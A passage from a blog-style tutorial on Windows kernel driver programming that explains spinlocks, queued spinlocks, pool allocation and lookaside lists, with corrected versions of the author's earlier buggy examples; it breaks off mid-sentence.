&lt;section&gt;&lt;h2&gt;Spinlocks&lt;a href=&quot;#spinlocks&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;A spinlock is the kernel’s high-IRQL lock. It protects a resource by giving one holder exclusive access.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Careful&lt;/strong&gt;: a spinlock variable &lt;strong&gt;must not live on the function’s stack&lt;/strong&gt;. If it does, it gets initialized again every time you enter the function, which is the same as having no lock at all. It has to be a global, or sit on something whose lifetime matches the lock’s, like the device extension.&lt;/p&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;KSPIN_LOCK my_spin_lock;&lt;/span&gt;&lt;span&gt;   // global&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;void&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;initLock&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;KeInitializeSpinLock&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;my_spin_lock);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;void&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;TestFuncLock&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;KIRQL irql;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;KeAcquireSpinLock&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;my_spin_lock, &lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;irql);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;// critical section: IRQL has been raised to DISPATCH_LEVEL here&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;KeReleaseSpinLock&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;my_spin_lock, irql);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;KeAcquireSpinLock&lt;/code&gt; raises the current IRQL to &lt;code&gt;DISPATCH_LEVEL&lt;/code&gt; and saves the old value in &lt;code&gt;irql&lt;/code&gt;, and releasing the lock puts it back. So inside the critical section &lt;strong&gt;you can’t touch paged memory, can’t call anything that might block, and can’t wait&lt;/strong&gt;. That’s what the IRQL section above is actually for.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;The example I wrote back then that deadlocks&lt;a href=&quot;#the-example-i-wrote-back-then-that-deadlocks&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;In my old notes, the list section had this:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;KeAcquireSpinLock&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;my_spin_lock&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;irql&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ExInterlockedInsertHeadList&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;listHead&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;my_file_info.m_ListEntry&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;my_spin_lock&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;KeReleaseSpinLock&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;my_spin_lock&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; irql&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;This code &lt;strong&gt;locks itself up&lt;/strong&gt;. The “Ex” in &lt;code&gt;ExInterlockedInsertHeadList&lt;/code&gt; means “I’ll take the lock for you”, so internally it calls &lt;code&gt;KeAcquireSpinLock&lt;/code&gt; on &lt;code&gt;my_spin_lock&lt;/code&gt; first. But you’re already holding that same lock outside. Spinlocks aren’t reentrant, so it spins forever on the same CPU and the system just hangs there (with deadlock detection on, you get &lt;code&gt;DRIVER_VERIFIER_DETECTED_VIOLATION&lt;/code&gt; right away).&lt;/p&gt;&lt;p&gt;Here are two correct ways to write it. Pick either one.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;// Option 1: hold the lock yourself and use the plain list functions&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;KeAcquireSpinLock&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;my_spin_lock&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;irql&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;InsertHeadList&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;listHead&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;my_file_info.m_ListEntry&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;KeReleaseSpinLock&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;my_spin_lock&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; irql&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;// Option 2: don&apos;t hold it, let the Ex version take it&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ExInterlockedInsertHeadList&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;listHead&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;my_file_info.m_ListEntry&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;my_spin_lock&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;By the way, the &lt;code&gt;ExInterlocked*&lt;/code&gt; family is pretty much legacy on modern Windows. Microsoft’s docs also suggest plain &lt;code&gt;KeAcquireSpinLock&lt;/code&gt; plus the normal list functions, which reads much better.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;That example had a sneakier problem too. &lt;code&gt;listHead&lt;/code&gt; and &lt;code&gt;my_file_info&lt;/code&gt; were both &lt;strong&gt;local variables in the function&lt;/strong&gt;, so as soon as the function returned, the list head and the data were just leftovers on the stack, and anything still pointing into that list was instantly invalid. Either make the list global or part of the device extension, or unlink every node before the function returns.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Queued spinlocks&lt;a href=&quot;#queued-spinlocks&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;On multi-CPU machines, queued spinlocks perform better and are strictly first come, first served. You initialize the lock the same way, but once it’s initialized you &lt;strong&gt;can’t mix&lt;/strong&gt; the two ways of acquiring it:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;KLOCK_QUEUE_HANDLE my_lock_queue_handle;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;KeAcquireInStackQueuedSpinLock&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;my_spin_lock&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;my_lock_queue_handle&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;// critical section&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;KeReleaseInStackQueuedSpinLock&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;my_lock_queue_handle&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Notice that the queued lock’s handle lives on the stack. That’s allowed by design: the lock is global, and the handle on the stack only keeps track of state.&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Pool memory&lt;a href=&quot;#pool-memory&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;Plain allocation&lt;a href=&quot;#plain-allocation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;PVOID buffer &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;NonPagedPoolNx&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;512&lt;/span&gt;&lt;span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&apos;tag1&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (buffer)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;ExFreePoolWithTag&lt;/span&gt;&lt;span&gt;(buffer, &lt;/span&gt;&lt;span&gt;&apos;tag1&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;Something to change in 2026. &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; &lt;strong&gt;has been deprecated since Windows 10 2004&lt;/strong&gt;, and the official replacement is &lt;code&gt;ExAllocatePool2&lt;/code&gt;. New code should look like this:&lt;/p&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;PVOID buffer &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ExAllocatePool2&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;POOL_FLAG_NON_PAGED&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;512&lt;/span&gt;&lt;span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&apos;tag1&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (buffer)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;ExFreePoolWithTag&lt;/span&gt;&lt;span&gt;(buffer, &lt;/span&gt;&lt;span&gt;&apos;tag1&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;ExAllocatePool2&lt;/code&gt; zeroes the memory by default (no more &lt;code&gt;HEAP_ZERO_MEMORY&lt;/code&gt; business), and it just returns NULL on bad arguments like a zero length, which is a lot more honest than the old API. The tag has to be 1 to 4 printable ASCII characters. Use the same tag for the same allocation path, because when something goes wrong, &lt;code&gt;poolmon&lt;/code&gt; and &lt;code&gt;!pool&lt;/code&gt; rely on it to find the culprit.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Lookaside lists&lt;a href=&quot;#lookaside-lists&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;If you allocate and free blocks of the same size a lot, a lookaside list is much faster. It keeps a stash of fixed-size blocks inside itself, so you don’t go through the heap allocator every time.&lt;/p&gt;&lt;p&gt;My old example for this was pretty long. The logic was fine. It runs “allocate → free → allocate again” once and checks that the second allocation gets back the block you just freed. I’m only keeping the skeleton here:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;PNPAGED_LOOKASIDE_LIST pLookasideList;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pLookasideList &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ExAllocatePool2&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;POOL_FLAG_NON_PAGED&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;sizeof&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;NPAGED_LOOKASIDE_LIST&lt;/span&gt;&lt;span&gt;),&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&apos;test&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ExInitializeNPagedLookasideList&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;pLookasideList&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;NULL&lt;/span&gt;&lt;span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;NULL&lt;/span&gt;&lt;span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;128&lt;/span&gt;&lt;span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&apos;test&apos;&lt;/span&gt;&lt;span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;PVOID pFirstMemory  &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ExAllocateFromNPagedLookasideList&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;pLookasideList&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;PVOID pSecondMemory &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ExAllocateFromNPagedLookasideList&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;pLookasideList&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ExFreeToNPagedLookasideList&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;pLookasideList&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; pFirstMemory&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pFirstMemory &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;NULL&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pFirstMemory &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ExAllocateFromNPagedLookasideList&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;pLookasideList&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;span&gt;   // most likely the block we just freed&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;// cleanup: return the blocks, delete the list, then free the list itself&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (pFirstMemory  &lt;/span&gt;&lt;span&gt;!=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;NULL&lt;/span&gt;&lt;span&gt;) { &lt;/span&gt;&lt;span&gt;ExFreeToNPagedLookasideList&lt;/span&gt;&lt;span&gt;(pLookasideList, pFirstMemory);  pFirstMemory  &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;NULL&lt;/span&gt;&lt;span&gt;; }&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (pSecondMemory &lt;/span&gt;&lt;span&gt;!=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;NULL&lt;/span&gt;&lt;span&gt;) { &lt;/span&gt;&lt;span&gt;ExFreeToNPagedLookasideList&lt;/span&gt;&lt;span&gt;(pLookasideList, pSecondMemory); pSecondMemory &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;NULL&lt;/span&gt;&lt;span&gt;; }&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ExDeleteNPagedLookasideList&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;pLookasideList&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ExFreePoolWithTag&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;pLookasideList&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&apos;test&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;There’s a bug here that had to go. In my old notes, every cleanup check was written as &lt;code&gt;== NULL&lt;/code&gt; before freeing. That means “free a 